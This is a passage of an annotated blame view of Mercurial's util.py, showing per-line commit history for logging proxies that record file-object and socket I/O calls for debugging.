565074cc9ac6 tests: suppress read(-1) -> '' calls in fileobjectobserver Augie Fackler <augie@google.com> parents: 38197 diff changeset	848 return
565074cc9ac6 tests: suppress read(-1) -> '' calls in fileobjectobserver Augie Fackler <augie@google.com> parents: 38197 diff changeset	849
37047 d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer Gregory Szorc <gregory.szorc@gmail.com> parents: 37013 diff changeset	850 if self.logdataapis:
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	851 self.fh.write(b'%s> read(%d) -> %d' % (self.name, size, len(res)))
37047 d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer Gregory Szorc <gregory.szorc@gmail.com> parents: 37013 diff changeset	852
36553 bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	853 self._writedata(res)
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	854
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	855 def readline(self, res, limit=-1):
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	856 if not self.reads:
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	857 return
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	858
37047 d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer Gregory Szorc <gregory.szorc@gmail.com> parents: 37013 diff changeset	859 if self.logdataapis:
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	860 self.fh.write(b'%s> readline() -> %d' % (self.name, len(res)))
37047 d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer Gregory Szorc <gregory.szorc@gmail.com> parents: 37013 diff changeset	861
36553 bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	862 self._writedata(res)
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	863
36659 29128309c52d util: log readinto() I/O Gregory Szorc <gregory.szorc@gmail.com> parents: 36658 diff changeset	864 def readinto(self, res, dest):
29128309c52d util: log readinto() I/O Gregory Szorc <gregory.szorc@gmail.com> parents: 36658 diff changeset	865 if not self.reads:
29128309c52d util: log readinto() I/O Gregory Szorc <gregory.szorc@gmail.com> parents: 36658 diff changeset	866 return
29128309c52d util: log readinto() I/O Gregory Szorc <gregory.szorc@gmail.com> parents: 36658 diff changeset	867
37047 d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer Gregory Szorc <gregory.szorc@gmail.com> parents: 37013 diff changeset	868 if self.logdataapis:
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	869 self.fh.write(
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	870 b'%s> readinto(%d) -> %r' % (self.name, len(dest), res)
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	871 )
37047 d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer Gregory Szorc <gregory.szorc@gmail.com> parents: 37013 diff changeset	872
36659 29128309c52d util: log readinto() I/O Gregory Szorc <gregory.szorc@gmail.com> parents: 36658 diff changeset	873 data = dest[0:res] if res is not None else b''
41406 b141b5243b37 util: cast memoryview to bytes Gregory Szorc <gregory.szorc@gmail.com> parents: 41289 diff changeset	874
b141b5243b37 util: cast memoryview to bytes Gregory Szorc <gregory.szorc@gmail.com> parents: 41289 diff changeset	875 # _writedata() uses "in" operator and is confused by memoryview because
b141b5243b37 util: cast memoryview to bytes Gregory Szorc <gregory.szorc@gmail.com> parents: 41289 diff changeset	876 # characters are ints on Python 3.
b141b5243b37 util: cast memoryview to bytes Gregory Szorc <gregory.szorc@gmail.com> parents: 41289 diff changeset	877 if isinstance(data, memoryview):
b141b5243b37 util: cast memoryview to bytes Gregory Szorc <gregory.szorc@gmail.com> parents: 41289 diff changeset	878 data = data.tobytes()
b141b5243b37 util: cast memoryview to bytes Gregory Szorc <gregory.szorc@gmail.com> parents: 41289 diff changeset	879
36659 29128309c52d util: log readinto() I/O Gregory Szorc <gregory.szorc@gmail.com> parents: 36658 diff changeset	880 self._writedata(data)
29128309c52d util: log readinto() I/O Gregory Szorc <gregory.szorc@gmail.com> parents: 36658 diff changeset	881
36553 bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	882 def write(self, res, data):
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	883 if not self.writes:
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	884 return
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	885
36660 8395fddde46c util: report integer result from write() Gregory Szorc <gregory.szorc@gmail.com> parents: 36659 diff changeset	886 # Python 2 returns None from some write() calls. Python 3 (reasonably)
8395fddde46c util: report integer result from write() Gregory Szorc <gregory.szorc@gmail.com> parents: 36659 diff changeset	887 # returns the integer bytes written.
8395fddde46c util: report integer result from write() Gregory Szorc <gregory.szorc@gmail.com> parents: 36659 diff changeset	888 if res is None and data:
8395fddde46c util: report integer result from write() Gregory Szorc <gregory.szorc@gmail.com> parents: 36659 diff changeset	889 res = len(data)
8395fddde46c util: report integer result from write() Gregory Szorc <gregory.szorc@gmail.com> parents: 36659 diff changeset	890
37047 d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer Gregory Szorc <gregory.szorc@gmail.com> parents: 37013 diff changeset	891 if self.logdataapis:
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	892 self.fh.write(b'%s> write(%d) -> %r' % (self.name, len(data), res))
37047 d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer Gregory Szorc <gregory.szorc@gmail.com> parents: 37013 diff changeset	893
36553 bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	894 self._writedata(data)
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	895
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	896 def flush(self, res):
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	897 if not self.writes:
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	898 return
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	899
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	900 self.fh.write(b'%s> flush() -> %r\n' % (self.name, res))
36553 bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	901
36554 3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	902 # For observedbufferedinputpipe.
3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	903 def bufferedread(self, res, size):
37047 d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer Gregory Szorc <gregory.szorc@gmail.com> parents: 37013 diff changeset	904 if not self.reads:
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer Gregory Szorc <gregory.szorc@gmail.com> parents: 37013 diff changeset	905 return
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer Gregory Szorc <gregory.szorc@gmail.com> parents: 37013 diff changeset	906
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer Gregory Szorc <gregory.szorc@gmail.com> parents: 37013 diff changeset	907 if self.logdataapis:
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	908 self.fh.write(
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	909 b'%s> bufferedread(%d) -> %d' % (self.name, size, len(res))
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	910 )
37047 d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer Gregory Szorc <gregory.szorc@gmail.com> parents: 37013 diff changeset	911
36554 3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	912 self._writedata(res)
3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	913
3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	914 def bufferedreadline(self, res):
37047 d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer Gregory Szorc <gregory.szorc@gmail.com> parents: 37013 diff changeset	915 if not self.reads:
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer Gregory Szorc <gregory.szorc@gmail.com> parents: 37013 diff changeset	916 return
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer Gregory Szorc <gregory.szorc@gmail.com> parents: 37013 diff changeset	917
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer Gregory Szorc <gregory.szorc@gmail.com> parents: 37013 diff changeset	918 if self.logdataapis:
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	919 self.fh.write(
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	920 b'%s> bufferedreadline() -> %d' % (self.name, len(res))
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	921 )
37047 d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer Gregory Szorc <gregory.szorc@gmail.com> parents: 37013 diff changeset	922
36554 3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	923 self._writedata(res)
3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	924
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	925
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	926 def makeloggingfileobject(
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	927 logh, fh, name, reads=True, writes=True, logdata=False, logdataapis=True
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	928 ):
36553 bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	929 """Turn a file object into a logging file object."""
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	930
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	931 observer = fileobjectobserver(
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	932 logh,
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	933 name,
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	934 reads=reads,
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	935 writes=writes,
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	936 logdata=logdata,
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	937 logdataapis=logdataapis,
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	938 )
36553 bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	939 return fileobjectproxy(fh, observer)
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	940
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	941
37013 8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	942 class socketobserver(baseproxyobserver):
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	943 """Logs socket activity."""
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	944
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	945 def __init__(
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	946 self,
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	947 fh,
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	948 name,
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	949 reads=True,
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	950 writes=True,
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	951 states=True,
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	952 logdata=False,
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	953 logdataapis=True,
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	954 ):
37013 8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	955 self.fh = fh
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	956 self.name = name
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	957 self.reads = reads
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	958 self.writes = writes
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	959 self.states = states
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	960 self.logdata = logdata
37047 d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer Gregory Szorc <gregory.szorc@gmail.com> parents: 37013 diff changeset	961 self.logdataapis = logdataapis
37013 8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	962
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	963 def makefile(self, res, mode=None, bufsize=None):
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	964 if not self.states:
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	965 return
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	966
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	967 self.fh.write(b'%s> makefile(%r, %r)\n' % (self.name, mode, bufsize))
37013 8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	968
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	969 def recv(self, res, size, flags=0):
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	970 if not self.reads:
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	971 return
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	972
37047 d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer Gregory Szorc <gregory.szorc@gmail.com> parents: 37013 diff changeset	973 if self.logdataapis:
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	974 self.fh.write(
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	975 b'%s> recv(%d, %d) -> %d' % (self.name, size, flags, len(res))
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	976 )
37013 8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	977 self._writedata(res)
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	978
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	979 def recvfrom(self, res, size, flags=0):
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	980 if not self.reads:
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	981 return
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	982
37047 d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer Gregory Szorc <gregory.szorc@gmail.com> parents: 37013 diff changeset	983 if self.logdataapis:
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	984 self.fh.write(
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	985 b'%s> recvfrom(%d, %d) -> %d'
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	986 % (self.name, size, flags, len(res[0]))
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	987 )
37047 d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer Gregory Szorc <gregory.szorc@gmail.com> parents: 37013 diff changeset	988
37013 8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	989 self._writedata(res[0])
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	990
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	991 def recvfrom_into(self, res, buf, size, flags=0):
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	992 if not self.reads:
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	993 return
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	994
37047 d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer Gregory Szorc <gregory.szorc@gmail.com> parents: 37013 diff changeset	995 if self.logdataapis:
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	996 self.fh.write(
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	997 b'%s> recvfrom_into(%d, %d) -> %d'
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	998 % (self.name, size, flags, res[0])
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	999 )
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1000
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1001 self._writedata(buf[0 : res[0]])
37013 8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	1002
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	1003 def recv_into(self, res, buf, size=0, flags=0):
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	1004 if not self.reads:
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	1005 return
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	1006
37047 d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer Gregory Szorc <gregory.szorc@gmail.com> parents: 37013 diff changeset	1007 if self.logdataapis:
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1008 self.fh.write(
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	1009 b'%s> recv_into(%d, %d) -> %d' % (self.name, size, flags, res)
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1010 )
37047 d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer Gregory Szorc <gregory.szorc@gmail.com> parents: 37013 diff changeset	1011
37013 8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	1012 self._writedata(buf[0:res])
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	1013
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	1014 def send(self, res, data, flags=0):
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	1015 if not self.writes:
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	1016 return
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	1017
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1018 self.fh.write(
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	1019 b'%s> send(%d, %d) -> %d' % (self.name, len(data), flags, len(res))
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1020 )
37013 8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	1021 self._writedata(data)
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	1022
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	1023 def sendall(self, res, data, flags=0):
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	1024 if not self.writes:
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	1025 return
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	1026
37047 d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer Gregory Szorc <gregory.szorc@gmail.com> parents: 37013 diff changeset	1027 if self.logdataapis:
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer Gregory Szorc <gregory.szorc@gmail.com> parents: 37013 diff changeset	1028 # Returns None on success. So don't bother reporting return value.
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	1029 self.fh.write(
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	1030 b'%s> sendall(%d, %d)' % (self.name, len(data), flags)
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	1031 )
37047 d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer Gregory Szorc <gregory.szorc@gmail.com> parents: 37013 diff changeset	1032
37013 8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	1033 self._writedata(data)
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	1034
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	1035 def sendto(self, res, data, flagsoraddress, address=None):
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	1036 if not self.writes:
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	1037 return
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	1038
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	1039 if address:
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	1040 flags = flagsoraddress
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	1041 else:
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	1042 flags = 0
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	1043
37047 d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer Gregory Szorc <gregory.szorc@gmail.com> parents: 37013 diff changeset	1044 if self.logdataapis:
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1045 self.fh.write(
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	1046 b'%s> sendto(%d, %d, %r) -> %d'
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1047 % (self.name, len(data), flags, address, res)
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1048 )
37047 d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer Gregory Szorc <gregory.szorc@gmail.com> parents: 37013 diff changeset	1049
37013 8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	1050 self._writedata(data)
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	1051
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	1052 def setblocking(self, res, flag):
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	1053 if not self.states:
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	1054 return
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	1055
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	1056 self.fh.write(b'%s> setblocking(%r)\n' % (self.name, flag))
37013 8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	1057
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	1058 def settimeout(self, res, value):
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	1059 if not self.states:
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	1060 return
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	1061
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	1062 self.fh.write(b'%s> settimeout(%r)\n' % (self.name, value))
37013 8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	1063
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	1064 def gettimeout(self, res):
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	1065 if not self.states:
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	1066 return
